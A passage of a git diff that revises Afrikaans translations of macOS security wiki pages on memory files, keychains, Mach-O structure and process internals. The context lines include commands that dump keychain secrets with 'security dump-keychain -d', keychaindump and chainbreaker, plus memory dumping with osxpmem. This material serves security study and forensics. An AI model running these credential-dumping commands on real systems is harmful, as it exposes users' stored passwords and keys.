**kas wanneer die fisiese geheue vol is**. Wanneer daar nie meer plek in fisiese geheue is nie, word die data na 'n swap lêer oorgedra en dan terug na fisiese geheue gebring soos nodig. Meerdere swap lêers mag teenwoordig wees, met name soos swapfile0, swapfile1, en so aan. +Swap lêers, soos `/private/var/vm/swapfile0`, dien as **kas wanneer die fisiese geheue vol is**. Wanneer daar nie meer plek in fisiese geheue is nie, word die data na 'n swap lêer oorgedra en dan weer na fisiese geheue gebring soos nodig. Meerdere swap lêers mag teenwoordig wees, met name soos swapfile0, swapfile1, en so aan. ### Hiberneer Beeld @@ -24,7 +24,7 @@ Nog 'n belangrike geheue-verwante lêer in MacOS stelsels is die **geheue druk l Om die geheue in 'n MacOS masjien te dump, kan jy [**osxpmem**](https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip) gebruik. -**Let wel**: Die volgende instruksies sal slegs werk vir Macs met Intel argitektuur. Hierdie hulpmiddel is nou geargiveer en die laaste vrystelling was in 2017. Die binêre wat afgelaai is met die onderstaande instruksies teiken Intel skyfies aangesien Apple Silicon nie in 2017 beskikbaar was nie. Dit mag moontlik wees om die binêre vir arm64 argitektuur te compileer, maar jy sal self moet probeer. +**Let wel**: Die volgende instruksies sal slegs werk vir Macs met Intel argitektuur. Hierdie hulpmiddel is nou geargiveer en die laaste vrystelling was in 2017. Die binêre wat afgelaai is met die instruksies hieronder, teiken Intel skyfies aangesien Apple Silicon nie in 2017 beskikbaar was nie. Dit mag moontlik wees om die binêre vir arm64 argitektuur te compileer, maar jy sal self moet probeer. ```bash #Dump raw format sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.md index 9a4ef7082..4c23f10c6 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.md @@ -25,7 +25,7 @@ Hierdie lêer word **slegs gebruik** wanneer die stelsel in **enkele-gebruiker m ### Sleutelhouer Dump -Let daarop dat wanneer die sekuriteit binêre gebruik word om die **ontsleutelde wagwoorde** te **dump**, verskeie vrae die gebruiker sal vra om hierdie operasie toe te laat. +Let daarop dat wanneer die sekuriteit binêre gebruik word om die **ontsleutelde wagwoorde te dump**, verskeie vrae die gebruiker sal vra om hierdie operasie toe te laat. ```bash #security security dump-trust-settings [-s] [-d] #List certificates @@ -41,21 +41,21 @@ security dump-keychain -d #Dump all the info, included secrets (the user will be ### Keychaindump Oorsig -'n Gereedskap genaamd **keychaindump** is ontwikkel om wagwoorde uit macOS sleutelhouers te onttrek, maar dit ondervind beperkings op nuwer macOS weergawes soos Big Sur, soos aangedui in 'n [diskussie](https://github.com/juuso/keychaindump/issues/10#issuecomment-751218760). Die gebruik van **keychaindump** vereis dat die aanvaller toegang verkry en voorregte tot **root** verhoog. Die gereedskap benut die feit dat die sleutelhouer standaard ontgrendel is by gebruikersaanmelding vir gerief, wat toelaat dat toepassings toegang daartoe verkry sonder om die gebruiker se wagwoord herhaaldelik te vereis. As 'n gebruiker egter kies om hul sleutelhouer na elke gebruik te vergrendel, word **keychaindump** ondoeltreffend. +'n Gereedskap genaamd **keychaindump** is ontwikkel om wagwoorde uit macOS sleutelhouers te onttrek, maar dit ondervind beperkings op nuwer macOS weergawes soos Big Sur, soos aangedui in 'n [bespreking](https://github.com/juuso/keychaindump/issues/10#issuecomment-751218760). Die gebruik van **keychaindump** vereis dat die aanvaller toegang verkry en privaathede tot **root** verhoog. Die gereedskap benut die feit dat die sleutelhouer standaard ontgrendel is by gebruikersaanmelding vir gerief, wat toepassings toelaat om dit te benader sonder om die gebruiker se wagwoord herhaaldelik te vereis. As 'n gebruiker egter kies om hul sleutelhouer na elke gebruik te vergrendel, word **keychaindump** ondoeltreffend. -**Keychaindump** werk deur 'n spesifieke proses genaamd **securityd** te teiken, wat deur Apple beskryf word as 'n daemon vir magtiging en kriptografiese operasies, wat noodsaaklik is vir toegang tot die sleutelhouer. Die onttrekkingsproses behels die identifisering van 'n **Master Key** wat afgelei is van die gebruiker se aanmeldwagwoord. Hierdie sleutel is noodsaaklik om die sleutelhouer lêer te lees. Om die **Master Key** te vind, skandeer **keychaindump** die geheuehoop van **securityd** met behulp van die `vmmap` opdrag, op soek na potensiële sleutels binne areas wat as `MALLOC_TINY` gemerk is. Die volgende opdrag word gebruik om hierdie geheue plekke te ondersoek: +**Keychaindump** werk deur 'n spesifieke proses genaamd **securityd** te teiken, wat deur Apple beskryf word as 'n daemon vir magtiging en kriptografiese operasies, wat noodsaaklik is om toegang tot die sleutelhouer te verkry. Die onttrekkingsproses behels die identifisering van 'n **Master Key** wat afgelei is van die gebruiker se aanmeldwagwoord. Hierdie sleutel is noodsaaklik om die sleutelhouer lêer te lees. Om die **Master Key** te vind, skandeer **keychaindump** die geheuehoop van **securityd** met behulp van die `vmmap` opdrag, op soek na potensiële sleutels binne areas wat as `MALLOC_TINY` gemerk is. Die volgende opdrag word gebruik om hierdie geheue plekke te ondersoek: ```bash sudo vmmap | grep MALLOC_TINY ``` -Na die identifisering van potensiële meester sleutels, **keychaindump** soek deur die hoop vir 'n spesifieke patroon (`0x0000000000000018`) wat 'n kandidaat vir die meester sleutel aandui. Verdere stappe, insluitend deobfuscation, is nodig om hierdie sleutel te benut, soos uiteengesit in **keychaindump** se bronkode. Ontleders wat op hierdie gebied fokus, moet oplet dat die belangrike data vir die ontsleuteling van die sleutelring binne die geheue van die **securityd** proses gestoor is. 'n Voorbeeldopdrag om **keychaindump** te loop is: +Na die identifisering van potensiële meester sleutels, **keychaindump** soek deur die hoop vir 'n spesifieke patroon (`0x0000000000000018`) wat 'n kandidaat vir die meester sleutel aandui. Verdere stappe, insluitend deobfuscation, is nodig om hierdie sleutel te benut, soos uiteengesit in **keychaindump**'s bronkode. Ontleders wat op hierdie gebied fokus, moet oplet dat die belangrike data vir die ontsleuteling van die sleutelhouer binne die geheue van die **securityd** proses gestoor is. 'n Voorbeeldopdrag om **keychaindump** te loop is: ```bash sudo ./keychaindump ``` ### chainbreaker -[**Chainbreaker**](https://github.com/n0fate/chainbreaker) kan gebruik word om die volgende tipes inligting uit 'n OSX sleutelketting op 'n forensies-korrekte manier te onttrek: +[**Chainbreaker**](https://github.com/n0fate/chainbreaker) kan gebruik word om die volgende tipes inligting uit 'n OSX sleutelring op 'n forensies-korrekte manier te onttrek: -- Gehashde Sleutelkettingswagwoord, geskik vir kraken met [hashcat](https://hashcat.net/hashcat/) of [John the Ripper](https://www.openwall.com/john/) +- Gehashde Sleutelring wagwoord, geskik vir kraken met [hashcat](https://hashcat.net/hashcat/) of [John the Ripper](https://www.openwall.com/john/) - Internet Wagwoorde - Generiese Wagwoorde - Privaat Sleutels @@ -64,11 +64,11 @@ sudo ./keychaindump - Veilige Aantekeninge - Appleshare Wagwoorde -Gegewe die sleutelkettingsontsluitwagwoord, 'n meester sleutel verkry met behulp van [volafox](https://github.com/n0fate/volafox) of [volatility](https://github.com/volatilityfoundation/volatility), of 'n ontsluitlêer soos SystemKey, sal Chainbreaker ook plattekswagwoorde verskaf. +Gegewe die sleutelring ontgrendel wagwoord, 'n meester sleutel verkry deur [volafox](https://github.com/n0fate/volafox) of [volatility](https://github.com/volatilityfoundation/volatility), of 'n ontgrendel lêer soos SystemKey, sal Chainbreaker ook platte teks wagwoorde verskaf. -Sonder een van hierdie metodes om die Sleutelketing te ontsluit, sal Chainbreaker al die ander beskikbare inligting vertoon. +Sonder een van hierdie metodes om die Sleutelring te ontgrendel, sal Chainbreaker al die ander beskikbare inligting vertoon. -#### **Dump sleutelkettingsleutels** +#### **Dump sleutelring sleutels** ```bash #Dump all keys of the keychain (without the passwords) python2.7 chainbreaker.py --dump-all /Library/Keychains/System.keychain @@ -189,7 +189,7 @@ Hierdie lêer verleen toestemmings aan spesifieke gebruikers deur UUID (en nie u ``` ## Stelselskennisgewings -### Darwin Kennisgewings +### Darwin Kenner Die hoof daemon vir kennisgewings is **`/usr/sbin/notifyd`**. Om kennisgewings te ontvang, moet kliënte registreer deur die `com.apple.system.notification_center` Mach-poort (kontroleer dit met `sudo lsmp -p `). Die daemon is konfigureerbaar met die lêer `/etc/notify.conf`. @@ -235,7 +235,7 @@ Dit is ook moontlik om inligting oor die daemon en verbindings te verkry met: Dit is kennisgewings wat die gebruiker op die skerm moet sien: - **`CFUserNotification`**: Hierdie API bied 'n manier om 'n pop-up met 'n boodskap op die skerm te wys. -- **Die Bulletinbord**: Dit wys in iOS 'n banner wat verdwyn en in die Kennisgewing Sentrum gestoor sal word. -- **`NSUserNotificationCenter`**: Dit is die iOS bulletinbord in MacOS. Die databasis met die kennisgewings is geleë in `/var/folders//0/com.apple.notificationcenter/db2/db` +- **Die Bulletin Bord**: Dit wys in iOS 'n banner wat verdwyn en in die Kennisgewingsentrum gestoor sal word. +- **`NSUserNotificationCenter`**: Dit is die iOS bulletin bord in MacOS. Die databasis met die kennisgewings is geleë in `/var/folders//0/com.apple.notificationcenter/db2/db` {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md index 054b21562..61078ac10 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md @@ -4,7 +4,7 @@ ## Basiese Inligting -Mac OS binêre word gewoonlik saamgestel as **universele binêre**. 'n **universale binêre** kan **meerdere argitekture in dieselfde lêer ondersteun**. +Mac OS binêre word gewoonlik saamgekompileer as **universele binêre**. 'n **universale binêre** kan **meerdere argitekture in dieselfde lêer ondersteun**. Hierdie binêre volg die **Mach-O struktuur** wat basies bestaan uit: @@ -68,7 +68,7 @@ of deur die [Mach-O View](https://sourceforge.net/projects/machoview/) hulpmidde
-Soos jy dalk dink, verdubbel 'n universele binêre wat vir 2 argitekture saamgestel is gewoonlik die grootte van een wat net vir 1 argitektuur saamgestel is. +Soos jy dalk dink, verdubbel 'n universele binêre wat saamgekompileer is vir 2 argitekture gewoonlik die grootte van een wat net vir 1 argitektuur saamgekompileer is. ## **Mach-O Kop** @@ -177,8 +177,8 @@ uint64_t vmaddr; /* geheueadres van hierdie segment */ uint64_t vmsize; /* geheuegrootte van hierdie segment */ uint64_t fileoff; /* lêer offset van hierdie segment */ uint64_t filesize; /* hoeveelheid om van die lêer te map */ -int32_t maxprot; /* maksimum VM-beskerming */ -int32_t initprot; /* aanvanklike VM-beskerming */ +int32_t maxprot; /* maksimum VM beskerming */ +int32_t initprot; /* aanvanklike VM beskerming */ uint32_t nsects; /* aantal afdelings in segment */ uint32_t flags; /* vlae */ }; @@ -209,7 +209,7 @@ Voorbeeld van **afdelingskop**:
-As jy die **afdelingsoffset** (0x37DC) + die **offset** waar die **argitektuur begin**, in hierdie geval `0x18000` --> `0x37DC + 0x18000 = 0x1B7DC` +As jy die **afdelingsoffset** (0x37DC) + die **offset** waar die **arch begin**, in hierdie geval `0x18000` --> `0x37DC + 0x18000 = 0x1B7DC`
@@ -219,7 +219,7 @@ otool -lv /bin/ls ``` Algemene segmente wat deur hierdie cmd gelaai word: -- **`__PAGEZERO`:** Dit gee die kernel opdrag om die **adres nul** te **kaart**, sodat dit **nie gelees, geskryf of uitgevoer kan word** nie. Die maxprot en minprot veranderlikes in die struktuur is op nul gestel om aan te dui dat daar **geen lees-skrif-uitvoer regte op hierdie bladsy is**. +- **`__PAGEZERO`:** Dit gee die kernel opdrag om die **adres nul** te **kaart**, sodat dit **nie gelees, geskryf of uitgevoer kan word** nie. Die maxprot en minprot veranderlikes in die struktuur is op nul gestel om aan te dui dat daar **geen lees-skrif-uitvoer regte op hierdie bladsy is** nie. - Hierdie toewysing is belangrik om **NULL pointer dereference kwesbaarhede te verminder**. Dit is omdat XNU 'n harde bladsy nul afdwing wat verseker dat die eerste bladsy (slegs die eerste) van geheue ontoeganklik is (behalwe in i386). 'n Binêre kan aan hierdie vereistes voldoen deur 'n klein \_\_PAGEZERO te skep (met die `-pagezero_size`) om die eerste 4k te dek en die res van die 32-bit geheue in beide gebruiker- en kernelmodus toeganklik te hê. - **`__TEXT`**: Bevat **uitvoerbare** **kode** met **lees** en **uitvoer** toestemmings (geen skryfbare)**.** Algemene afdelings van hierdie segment: - `__text`: Gecompileerde binêre kode @@ -232,17 +232,17 @@ Algemene segmente wat deur hierdie cmd gelaai word: - `__got:` Globale Offset Tabel - `__nl_symbol_ptr`: Nie lui (bind by laai) simbool pointer - `__la_symbol_ptr`: Lui (bind by gebruik) simbool pointer -- `__const`: Moet lees-slegs data wees (nie regtig nie) +- `__const`: Moet slegs leesbare data wees (nie regtig nie) - `__cfstring`: CoreFoundation strings - `__data`: Globale veranderlikes (wat geinitialiseer is) - `__bss`: Statiese veranderlikes (wat nie geinitialiseer is nie) - `__objc_*` (\_\_objc_classlist, \_\_objc_protolist, ens): Inligting wat deur die Objective-C runtime gebruik word -- **`__DATA_CONST`**: \_\_DATA.\_\_const is nie gewaarborg om konstant te wees (skryf toestemmings) nie, en ander pointers en die GOT ook nie. Hierdie afdeling maak `__const`, sommige inisialisators en die GOT tabel (sodra dit opgelos is) **lees slegs** met behulp van `mprotect`. +- **`__DATA_CONST`**: \_\_DATA.\_\_const is nie gewaarborg om konstant te wees nie (skryf toestemmings), en ander pointers en die GOT ook nie. Hierdie afdeling maak `__const`, sommige inisialisators en die GOT tabel (sodra dit opgelos is) **slegs lees** met behulp van `mprotect`. - **`__LINKEDIT`**: Bevat inligting vir die linker (dyld) soos simbool, string, en herlokasie tabel inskrywings. Dit is 'n generiese houer vir inhoud wat nie in `__TEXT` of `__DATA` is nie en sy inhoud word in ander laaiopdragte beskryf. - dyld inligting: Rebase, Nie-lui/lui/swak binding opcodes en uitvoer info - Funksies begin: Tabel van begin adresse van funksies - Data In Kode: Data-eilande in \_\_text -- Simbool Tabel: Simbole in binêr +- Simbool Tabel: Simbole in binêre - Indirekte Simbool Tabel: Pointer/stub simbole - String Tabel - Kode Handtekening @@ -258,7 +258,7 @@ Soos dit moontlik was om in die kode te sien, **ondersteun segmente ook vlae** ( ### **`LC_UNIXTHREAD/LC_MAIN`** -**`LC_MAIN`** bevat die toegangspunt in die **entryoff attribuut.** Tydens laai, **dyld** voeg eenvoudig **hierdie waarde** by die (in-geheue) **basis van die binêre**, en dan **spring** dit na hierdie instruksie om die uitvoering van die binêre se kode te begin. +**`LC_MAIN`** bevat die toegangspunt in die **entryoff attribuut.** Tydens laai, **dyld** voeg eenvoudig **hierdie waarde** by die (in-geheue) **basis van die binêre**, dan **spring** dit na hierdie instruksie om die uitvoering van die binêre se kode te begin. **`LC_UNIXTHREAD`** bevat die waardes wat die register moet hê wanneer die hoofdraad begin. Dit is reeds verouderd, maar **`dyld`** gebruik dit steeds. Dit is moontlik om die waardes van die registers wat deur hierdie gestel is, te sien met: ```bash @@ -286,12 +286,12 @@ cpsr 0x00000000 ``` ### **`LC_CODE_SIGNATURE`** -Bevat inligting oor die **kodehandtekening van die Macho-O-lêer**. Dit bevat slegs 'n **offset** wat na die **handtekening blob** **wys**. Dit is tipies aan die einde van die lêer.\ +Bevat inligting oor die **kodehandtekening van die Macho-O lêer**. Dit bevat slegs 'n **offset** wat na die **handtekening blob** **wys**. Dit is tipies aan die einde van die lêer.\ U kan egter 'n paar inligting oor hierdie afdeling vind in [**hierdie blogpos**](https://davedelong.com/blog/2018/01/10/reading-your-own-entitlements/) en hierdie [**gists**](https://gist.github.com/carlospolop/ef26f8eb9fafd4bc22e69e1a32b81da4). ### **`LC_ENCRYPTION_INFO[_64]`** -Ondersteuning vir binêre versleuteling. Dit is egter, natuurlik, as 'n aanvaller daarin slaag om die proses te kompromitteer, sal hy in staat wees om die geheue onversleuteld te dump. +Ondersteuning vir binêre versleuteling. Dit gesê, as 'n aanvaller daarin slaag om die proses te kompromitteer, sal hy in staat wees om die geheue onversleuteld te dump. ### **`LC_LOAD_DYLINKER`** @@ -307,13 +307,13 @@ Ewekansige UUID. Dit is nuttig vir enigiets direk, maar XNU kas dit saam met die ### **`LC_DYLD_ENVIRONMENT`** -Stel in staat om omgewingsveranderlikes aan die dyld aan te dui voordat die proses uitgevoer word. Dit kan baie gevaarlik wees aangesien dit die uitvoering van arbitrêre kode binne die proses kan toelaat, so hierdie laai-opdrag word slegs in dyld-bou met `#define SUPPORT_LC_DYLD_ENVIRONMENT` gebruik en beperk die verwerking verder slegs tot veranderlikes van die vorm `DYLD_..._PATH` wat laai-pade spesifiseer. +Stel in staat om omgewingsveranderlikes aan die dyld aan te dui voordat die proses uitgevoer word. Dit kan baie gevaarlik wees aangesien dit die uitvoering van arbitrêre kode binne die proses kan toelaat, so hierdie laaiopdrag word slegs in dyld-bou met `#define SUPPORT_LC_DYLD_ENVIRONMENT` gebruik en beperk die verwerking verder slegs tot veranderlikes van die vorm `DYLD_..._PATH` wat laai-pade spesifiseer. ### **`LC_LOAD_DYLIB`** -Hierdie laai-opdrag beskryf 'n **dinamiese** **biblioteek** afhanklikheid wat die **laaier** (dyld) **instruer** om die **gesê biblioteek te laai en te koppel**. Daar is 'n `LC_LOAD_DYLIB` laai-opdrag **vir elke biblioteek** wat die Mach-O binêre benodig. +Hierdie laaiopdrag beskryf 'n **dinamiese** **biblioteek** afhanklikheid wat die **laaier** (dyld) **instrueer** om die **gesê biblioteek te laai en te koppel**. Daar is 'n `LC_LOAD_DYLIB` laaiopdrag **vir elke biblioteek** wat die Mach-O binêre benodig. -- Hierdie laai-opdrag is 'n struktuur van tipe **`dylib_command`** (wat 'n struct dylib bevat, wat die werklike afhanklike dinamiese biblioteek beskryf): +- Hierdie laaiopdrag is 'n struktuur van tipe **`dylib_command`** (wat 'n struktuur dylib bevat, wat die werklike afhanklike dinamiese biblioteek beskryf): ```objectivec struct dylib_command { uint32_t cmd; /* LC_LOAD_{,WEAK_}DYLIB */ @@ -340,13 +340,13 @@ otool -L /bin/ls ``` Sommige potensiële malware-verwante biblioteke is: -- **DiskArbitration**: Monitering van USB skyfies +- **DiskArbitration**: Monitering van USB skywe - **AVFoundation:** Opname van audio en video -- **CoreWLAN**: Wifi skandering. +- **CoreWLAN**: Wifi skandeer. > [!NOTE] -> 'n Mach-O binêre kan een of **meer** **konstruktors** bevat, wat **uitgevoer** sal word **voor** die adres wat in **LC_MAIN** gespesifiseer is.\ -> Die offsets van enige konstruktors word in die **\_\_mod_init_func** afdeling van die **\_\_DATA_CONST** segment gehou. +> 'n Mach-O binêre kan een of **meer** **konstruktore** bevat, wat **uitgevoer** sal word **voor** die adres wat in **LC_MAIN** gespesifiseer is.\ +> Die offsets van enige konstruktore word in die **\_\_mod_init_func** afdeling van die **\_\_DATA_CONST** segment gehou. ## **Mach-O Data** diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/README.md index ebeb5a76e..d9515fcc4 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/README.md @@ -6,7 +6,7 @@ 'n Proses is 'n instansie van 'n lopende uitvoerbare, egter prosesse voer nie kode uit nie, dit is drade. Daarom **is prosesse net houers vir lopende drade** wat die geheue, beskrywings, poorte, toestemmings... -Tradisioneel is prosesse binne ander prosesse (behalwe PID 1) begin deur **`fork`** aan te roep wat 'n presiese kopie van die huidige proses sou skep en dan sou die **kind proses** gewoonlik **`execve`** aanroep om die nuwe uitvoerbare te laai en dit uit te voer. Toe is **`vfork`** bekendgestel om hierdie proses vinniger te maak sonder enige geheue-kopie.\ +Tradisioneel is prosesse binne ander prosesse (behalwe PID 1) begin deur **`fork`** aan te roep wat 'n presiese kopie van die huidige proses sou skep en dan sou die **kindproses** oor die algemeen **`execve`** aanroep om die nuwe uitvoerbare te laai en dit uit te voer. Toe is **`vfork`** bekendgestel om hierdie proses vinniger te maak sonder enige geheue-kopieer.\ Toe is **`posix_spawn`** bekendgestel wat **`vfork`** en **`execve`** in een oproep kombineer en vlaggies aanvaar: - `POSIX_SPAWN_RESETIDS`: Herstel effektiewe id's na werklike id's @@ -19,20 +19,20 @@ Toe is **`posix_spawn`** bekendgestel wat **`vfork`** en **`execve`** in een opr - `_POSIX_SPAWN_NANO_ALLOCATOR:` Gebruik libmalloc se Nano allokator - `_POSIX_SPAWN_ALLOW_DATA_EXEC:` Laat `rwx` op datasegmente toe - `POSIX_SPAWN_CLOEXEC_DEFAULT`: Sluit alle lêer beskrywings op exec(2) standaard -- `_POSIX_SPAWN_HIGH_BITS_ASLR:` Randomiseer hoë bits van ASLR gly +- `_POSIX_SPAWN_HIGH_BITS_ASLR:` Randomiseer hoë bits van ASLR slide -Boonop laat `posix_spawn` toe om 'n reeks van **`posix_spawnattr`** te spesifiseer wat sommige aspekte van die gespaande proses beheer, en **`posix_spawn_file_actions`** om die toestand van die beskrywings te verander. +Boonop laat `posix_spawn` toe om 'n reeks van **`posix_spawnattr`** te spesifiseer wat sommige aspekte van die gespaande proses beheer, en **`posix_spawn_file_actions`** om die toestand van die beskrywings te wysig. -Wanneer 'n proses sterf, stuur dit die **terugkode na die ouer proses** (as die ouer gesterf het, is die nuwe ouer PID 1) met die sein `SIGCHLD`. Die ouer moet hierdie waarde kry deur `wait4()` of `waitid()` aan te roep en totdat dit gebeur, bly die kind in 'n zombie toestand waar dit steeds gelys word maar nie hulpbronne verbruik nie. +Wanneer 'n proses sterf, stuur dit die **terugkode na die ouer proses** (as die ouer gesterf het, is die nuwe ouer PID 1) met die sein `SIGCHLD`. Die ouer moet hierdie waarde kry deur `wait4()` of `waitid()` aan te roep en totdat dit gebeur, bly die kind in 'n zombie-toestand waar dit steeds gelys is maar nie hulpbronne verbruik nie. ### PID's -PID's, prosesidentifiseerders, identifiseer 'n unieke proses. In XNU is die **PID's** van **64bits** wat monotonies toeneem en **nooit wrap** (om misbruik te voorkom). +PID's, prosesidentifiseerders, identifiseer 'n unieke proses. In XNU is die **PID's** van **64bits** wat monotonies toeneem en **nooit wrap** (om misbruik te vermy). ### Prosesgroepe, Sessies & Koalisies -**Prosesse** kan in **groepe** ingevoeg word om dit makliker te maak om hulle te hanteer. Byvoorbeeld, opdragte in 'n skaal script sal in dieselfde prosesgroep wees sodat dit moontlik is om **hulle saam te sein** met behulp van kill byvoorbeeld.\ -Dit is ook moontlik om **prosesse in sessies te groepeer**. Wanneer 'n proses 'n sessie begin (`setsid(2)`), word die kindprosesse binne die sessie geplaas, tensy hulle hul eie sessie begin. +**Prosesse** kan in **groepe** ingevoeg word om dit makliker te maak om hulle te hanteer. Byvoorbeeld, opdragte in 'n skaal script sal in dieselfde prosesgroep wees sodat dit moontlik is om **hulle saam te sein** deur kill te gebruik byvoorbeeld.\ +Dit is ook moontlik om **prosesse in sessies te groepeer**. Wanneer 'n proses 'n sessie begin (`setsid(2)`), word die kindprosesse binne die sessie gestel, tensy hulle hul eie sessie begin. Koalisie is 'n ander manier om prosesse in Darwin te groepeer. 'n Proses wat by 'n koalisie aansluit, laat dit toe om poel hulpbronne te benader, 'n grootboek te deel of Jetsam te konfronteer. Koalisies het verskillende rolle: Leier, XPC diens, Uitbreiding. @@ -42,7 +42,7 @@ Elke proses hou **kredensiale** wat **sy voorregte** in die stelsel identifiseer Dit is ook moontlik om die gebruiker en groep id te verander as die binêre die `setuid/setgid` bit het.\ Daar is verskeie funksies om **nuwe uids/gidses in te stel**. -Die syscall **`persona`** bied 'n **alternatiewe** stel van **kredensiale**. Om 'n persona aan te neem, neem dit sy uid, gid en groep lidmaatskappe **tegelyk** aan. In die [**bron kode**](https://github.com/apple/darwin-xnu/blob/main/bsd/sys/persona.h) is dit moontlik om die struktuur te vind: +Die syscall **`persona`** bied 'n **alternatiewe** stel **kredensiale**. Om 'n persona aan te neem, neem dit sy uid, gid en groepslidmaatskappe **tegelyk** aan. In die [**bron kode**](https://github.com/apple/darwin-xnu/blob/main/bsd/sys/persona.h) is dit moontlik om die struktuur te vind: ```c struct kpersona_info { uint32_t persona_info_version; uid_t persona_id; /* overlaps with UID */ @@ -59,8 +59,8 @@ char persona_name[MAXLOGNAME + 1]; ## Draad Basiese Inligting 1. **POSIX Draad (pthreads):** macOS ondersteun POSIX drade (`pthreads`), wat deel is van 'n standaard threading API vir C/C++. Die implementering van pthreads in macOS is te vind in `/usr/lib/system/libsystem_pthread.dylib`, wat afkomstig is van die publiek beskikbare `libpthread` projek. Hierdie biblioteek bied die nodige funksies om drade te skep en te bestuur. -2. **Drade Skep:** Die `pthread_create()` funksie word gebruik om nuwe drade te skep. Intern roep hierdie funksie `bsdthread_create()` aan, wat 'n laer vlak stelselaanroep is wat spesifiek is vir die XNU-kern (die kern waarop macOS gebaseer is). Hierdie stelselaanroep neem verskeie vlae afgeleide van `pthread_attr` (atribute) wat die gedrag van die draad spesifiseer, insluitend skeduleringbeleide en stapelgrootte. -- **Standaard Stapelgrootte:** Die standaard stapelgrootte vir nuwe drade is 512 KB, wat voldoende is vir tipiese operasies, maar kan aangepas word via draadatribute indien meer of minder spasie benodig word. +2. **Drade Skep:** Die `pthread_create()` funksie word gebruik om nuwe drade te skep. Intern, roep hierdie funksie `bsdthread_create()` aan, wat 'n laer vlak stelselaanroep is wat spesifiek is vir die XNU-kern (die kern waarop macOS gebaseer is). Hierdie stelselaanroep neem verskeie vlae afgeleide van `pthread_attr` (attribuut) wat die gedrag van die draad spesifiseer, insluitend skeduleringbeleide en stapelgrootte. +- **Standaard Stapelgrootte:** Die standaard stapelgrootte vir nuwe drade is 512 KB, wat voldoende is vir tipiese operasies, maar kan aangepas word via draadattribuut indien meer of minder spasie benodig word. 3. **Draad Inisialiserings:** Die `__pthread_init()` funksie is van kardinale belang tydens draadopstelling, wat die `env[]` argument gebruik om omgewing veranderlikes te ontleed wat besonderhede oor die stapel se ligging en grootte kan insluit. #### Draad Beëindiging in macOS @@ -76,14 +76,14 @@ Om toegang tot gedeelde hulpbronne te bestuur en wedren toestande te vermy, bied - **Reguliere Mutex (Handtekening: 0x4D555458):** Standaard mutex met 'n geheue voetspoor van 60 bytes (56 bytes vir die mutex en 4 bytes vir die handtekening). - **Vinnige Mutex (Handtekening: 0x4d55545A):** Soortgelyk aan 'n regulêre mutex maar geoptimaliseer vir vinniger operasies, ook 60 bytes in grootte. 2. **Toestand Veranderlikes:** -- Gebruike om te wag vir sekere toestande om voor te kom, met 'n grootte van 44 bytes (40 bytes plus 'n 4-byte handtekening). -- **Toestand Veranderlike Atributen (Handtekening: 0x434e4441):** Konfigurasie-atri bute vir toestand veranderlikes, grootte van 12 bytes. -3. **Eens Veranderlike (Handtekening: 0x4f4e4345):** -- Verseker dat 'n stuk inisialiseringskode slegs een keer uitgevoer word. Die grootte is 12 bytes. +- Gebruik vir wag op sekere toestande om te gebeur, met 'n grootte van 44 bytes (40 bytes plus 'n 4-byte handtekening). +- **Toestand Veranderlike Attribuut (Handtekening: 0x434e4441):** Konfigurasie-attribuut vir toestand veranderlikes, grootte van 12 bytes. +3. **Eenmaal Veranderlike (Handtekening: 0x4f4e4345):** +- Verseker dat 'n stuk inisialiseringskode slegs een keer uitgevoer word. Sy grootte is 12 bytes. 4. **Lees-Skryf Slotte:** - Laat verskeie lesers of een skrywer op 'n slag toe, wat doeltreffende toegang tot gedeelde data fasiliteer. - **Lees Skryf Slot (Handtekening: 0x52574c4b):** Grootte van 196 bytes. -- **Lees Skryf Slot Atributen (Handtekening: 0x52574c41):** Atributen vir lees-skryf slotte, 20 bytes in grootte. +- **Lees Skryf Slot Attribuut (Handtekening: 0x52574c41):** Attribuut vir lees-skryf slotte, 20 bytes in grootte. > [!TIP] > Die laaste 4 bytes van daardie objekte word gebruik om oorgange te detecteer. @@ -92,7 +92,7 @@ Om toegang tot gedeelde hulpbronne te bestuur en wedren toestande te vermy, bied **Draad Plaaslike Veranderlikes (TLV)** in die konteks van Mach-O lêers (die formaat vir uitvoerbare lêers in macOS) word gebruik om veranderlikes te verklaar wat spesifiek is vir **elke draad** in 'n multi-draad toepassing. Dit verseker dat elke draad sy eie aparte instansie van 'n veranderlike het, wat 'n manier bied om konflikte te vermy en data integriteit te handhaaf sonder om eksplisiete sinchronisasie meganismes soos mutexes te benodig. -In C en verwante tale kan jy 'n draad-lokale veranderlike verklaar met die **`__thread`** sleutelwoord. Hier is hoe dit in jou voorbeeld werk: +In C en verwante tale, kan jy 'n draad-lokale veranderlike verklaar met die **`__thread`** sleutelwoord. Hier is hoe dit werk in jou voorbeeld: ```c cCopy code__thread int tlv_var; @@ -133,11 +133,11 @@ QoS klasse is 'n meer moderne benadering tot die hantering van thread prioriteit 3. **Utility:** - Hierdie take is langlopende en toon tipies 'n vordering aanduiding (bv. lêers aflaai, data invoer). Hulle is laer in prioriteit as gebruiker-geïnisieerde take en hoef nie onmiddellik te voltooi nie. 4. **Background:** -- Hierdie klas is vir take wat in die agtergrond werk en nie sigbaar is vir die gebruiker nie. Dit kan take wees soos indeksering, sinkronisering, of rugsteun. Hulle het die laagste prioriteit en minimale impak op stelsels se prestasie. +- Hierdie klas is vir take wat in die agtergrond werk en nie sigbaar is vir die gebruiker nie. Dit kan take wees soos 